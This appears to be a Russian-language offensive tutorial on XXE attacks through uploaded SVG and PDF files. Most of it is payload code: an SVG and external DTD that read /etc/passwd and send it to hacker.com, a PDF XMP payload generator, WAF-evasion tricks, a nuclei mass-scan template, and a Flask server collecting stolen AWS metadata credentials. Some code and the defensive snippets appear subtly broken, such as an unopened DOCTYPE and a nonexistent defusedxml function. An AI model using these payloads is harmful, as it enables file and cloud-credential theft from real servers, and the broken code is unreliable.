31
🔥 XXE Evolution: Почему SVG и PDF?
Современные WAF научились детектить классические XML-инъекции. Новые векторы:
librsvg
до сих пор обрабатывают ENTITY🖼️ Эксплойт #1: SVG с вкусной начинкой
Создаем зловредный SVG:
1 2 3 4 5 6 7 |
<svg xmlns="http://www.w3.org/2000/svg"> <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd"> %remote; %extract; ]> <rect width="100%" height="100%" fill="red"/> </svg> |
evil.dtd на нашем сервере:
1 2 3 |
<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % extract "<!ENTITY % send SYSTEM 'http://hacker.com/exfil?data=%payload;'>"> %send; |
Фишка: Используем протокол php://filter
для чтения бинарных файлов через base64
📄 Эксплойт #2: PDF с XMP-ловушкой
Генерируем PDF с внедренным XMP через Python и библиотеку PyPDF2
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
from PyPDF2 import PdfFileWriter, PdfFileReader from pyexiv2 import ImageData def create_mal_pdf(): xmp = '''<?xpacket begin='?' id='W5M0MpCehiHzreSzNTczkc9d'?> <x:xmpmeta xmlns:x="adobe:ns:meta/"> <rdf:RDF> <rdf:Description rdf:about="" xmlns:xxe="http://hacker.com/xxe"> <xxe:Payload><!ENTITY % xxe SYSTEM "file:///etc/passwd">%xxe;</xxe:Payload> </rdf:Description> </rdf:RDF> </x:xmpmeta>''' with open('bad.pdf', 'wb') as f: writer = PdfFileWriter() writer.addBlankPage(612, 792) writer._root_object.update({ '/Metadata': ImageData(xmp.encode()) }) writer.write(f) |
🛡️ Обход WAF: 3 приема 2025 года
1 2 3 |
<xml xmlns:abc="http://{random}.hacker.com"> <abc:root>&abc;</abc:root> </xml> |
WAF не сматчит сигнатуру из-за рандомного субдомена
2. Кодированная загрузка DTD
Разбиваем payload на части через JavaScript:
1 2 |
<!ENTITY % chunk1 SYSTEM 'data:text/plain;base64,PCFET0NUWVBFIGZvbz4='> &chunk1; |
3. SVG-обфускация через CSS
Прячем XML в CSS-поле:
1 2 3 4 |
<style> @namespace xxe "http://hacker.com/xxe"; rect:target { background: url("xxe:file:///etc/passwd"); } </style> |
⚡ Автоматизация атаки: Python + nuclei
Шаг 1: Генератор SVG-пейлоадов:
1 2 3 4 5 6 7 8 |
import random import string def gen_evil_svg(exfil_url): ns = ''.join(random.choices(string.ascii_lowercase, k=5)) return f'''<svg xmlns="http://www.w3.org/2000/svg" xmlns:{ns}="{exfil_url}"> <{ns}:payload>&{ns};</{ns}:payload> </svg>''' |
Шаг 2: Массовое сканирование через nuclei:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# nuclei-template.yaml id: xxe-svg requests: - method: POST path: - "{{BaseURL}}/upload" body: | <svg>...</svg> matchers: - type: word part: header words: - "Content-Type: text/xml" |
🧠 Как защититься?
1 2 |
from defusedxml import safe_parser doc = safe_parser.parse(svg_file) # Отключает обработку ENTITY |
Ghostscript
с опцией -dSAFER
1 2 3 |
location ~ \.(svg|pdf)$ { proxy_set_header X-XXE-Protection "1"; } |
🔥 Live Demo: Крадем AWS-ключи через PDF
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Скрипт для эксфильтрации:
1 2 3 4 5 6 7 8 9 10 11 |
from flask import Flask, request app = Flask(__name__) @app.route('/exfil') def log(): with open('stolen.txt', 'a') as f: f.write(request.args.get('data') + '\n') return 'OK' app.run(port=8000) |
📌 Итоговый чеклист пентестера
image/svg+xml
, application/octet-stream
Запомни: Современный XXE — это искусство мимикрии под легитимный контент. WAF не ищет зло в «картинках», а зря.